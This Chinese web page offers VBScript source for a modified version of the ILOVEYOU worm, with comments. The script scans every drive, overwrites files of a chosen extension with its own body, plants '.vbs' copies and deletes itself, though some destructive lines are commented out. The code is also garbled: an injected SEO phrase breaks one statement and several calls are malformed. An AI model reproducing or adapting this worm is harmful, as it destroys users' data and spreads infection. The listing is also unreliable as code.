VBS病毒（爱⾍病毒）源代码
说明：本⼈对某些代码进⾏了修改。该⽂件是⼀个完整的程序。该⽂件执⾏之后，会寻硬盘上所有满⾜条件的⽂件，对其进⾏强制性覆盖（满⾜条件的⽂件数据将全部丢失）、并再创建⼀个相同⽂件名但后带.vbs的⽂件。因此，请注意设⽴好破坏测试条件，千万不要对他⼈进⾏测试，否则，⼀切后果⾃负。如果你的系统不⽀持.vbs，可以将后缀改为.vbe
Dim folder, fso, foldername, f, d, dc
Set fso = CreateObject("scripting.filesystemobject")
Set self = fso.opentextfile(wscript.scriptfullname, 1)
vbscopy = adall              '读取病毒体，以备复制到⽂件
self.Close
vbs小程序代码大全Set dc = fso.Drives
For Each d In dc
If d.drivetype = 3 Or d.drivetype = 2 Then '检查磁盘类型
scan (d)
End If
Next
lsfile = wscript.scriptfullname        '该脚本程序路径
Set lsfile = file(lsfile)
lsfile.Delete (True)                  '病毒运⾏后⾃我删除(本⼈⾃加，爱⾍病毒本⾝没有该代码）
Sub scan(folder_)
On Error Resume Next
Set folder_ = folder(folder_)
Set Files = folder_.Files
For Each file In Files
ext = fso.GetExtensionName(file)        '获取⽂件后缀
ext = LCase(ext)                    '后缀名转换成⼩写字母
If ext = "mp5" Then                '如果后缀名是mp5，当然不存在这种⽂件，这⾥可以⾃⼰修改，但是注意。请⾃⼰建⽴相应后缀名的⽂件，最好是⾮正常后缀名
Set ap = fso.opentextfile(file.Path, 2, True)
' ap.write vbscopy                  '覆盖⽂件，慎⽤
ap.Close
Set cop = file(file.Path)
cop.Copy (file.Path & ".vbs")        '创建另外⼀个病毒⽂件
' file.delete(true)                '删除原来⽂件
End If
Next
Set subfolders = folder_.subfolders
For Each subfolder In subfolders          '搜索其他⽬录
scan (subfolder)
Next
End Sub
！！以上内容谨供参考学习~

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。